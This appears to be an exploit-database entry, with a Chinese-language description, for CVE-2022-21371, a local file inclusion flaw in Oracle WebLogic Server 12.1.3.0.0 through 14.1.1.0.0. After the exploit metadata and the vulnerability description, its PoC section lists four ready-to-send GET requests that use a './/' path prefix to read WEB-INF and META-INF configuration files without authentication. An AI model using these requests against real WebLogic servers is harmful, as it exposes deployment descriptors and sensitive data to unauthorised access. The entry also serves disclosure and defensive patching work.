CVE-2022-21371

Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 本地文件包含

# Exploit Title: Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 Local File Inclusion
# Date: 25/1/2022
# Exploit Author: Jonah Tan (@picar0jsu)
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
# Tested on: Windows Server 2019
# CVE : CVE-2022-21371

描述

Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（组件：Web 容器）中存在漏洞。 受影响的受支持版本为 12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。 该漏洞易于利用，未经身份验证的攻击者通过网络访问 HTTP 即可破坏 Oracle WebLogic Server。 成功利用此漏洞可能导致对关键数据的未授权访问，或完全访问所有 Oracle WebLogic Server 可访问的数据。

PoC

GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml

来自 https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786